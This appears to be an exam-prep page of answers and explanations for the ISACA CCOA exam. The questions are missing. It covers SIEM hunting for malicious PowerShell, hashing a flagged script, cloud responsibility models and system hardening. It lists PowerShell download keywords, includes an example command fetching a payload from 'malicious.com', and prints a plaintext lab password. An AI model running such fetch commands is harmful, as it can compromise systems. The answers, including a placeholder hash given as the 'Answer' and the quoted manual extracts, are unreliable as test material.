Isaca Updated CCOA Exam Questions and Answers by ismaeel

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.

Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.

Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.

Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.

Incorrect Options:

A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.

B. Software as a Service (SaaS):Provider manages almost all operational aspects.

C. Platform as a Service (PaaS):Provider manages the platform; customers focus on application management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.

System hardening involvesdisabling unnecessary features and enabling only required capabilitiesto reduce the attack surface:

Minimizing Attack Vectors:Reduces potential entry points by disabling unused services and ports.

Configuration Management:Ensures only essential features are active, reducing system complexity.

Best Practice:Hardening is part of secure system configuration management to mitigate vulnerabilities.

Incorrect Options:

A. Multiple users completing a task:More related to separation of duties, not hardening.

B. Permitting only required access:Relevant for access control but not directly for system hardening.

C. Giving users only necessary permissions:Reduces privilege risks but does not reduce the system attack surface.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "System Hardening Techniques," Subsection "Minimal Configuration" - Hardening involves enabling only necessary system functions to reduce risks.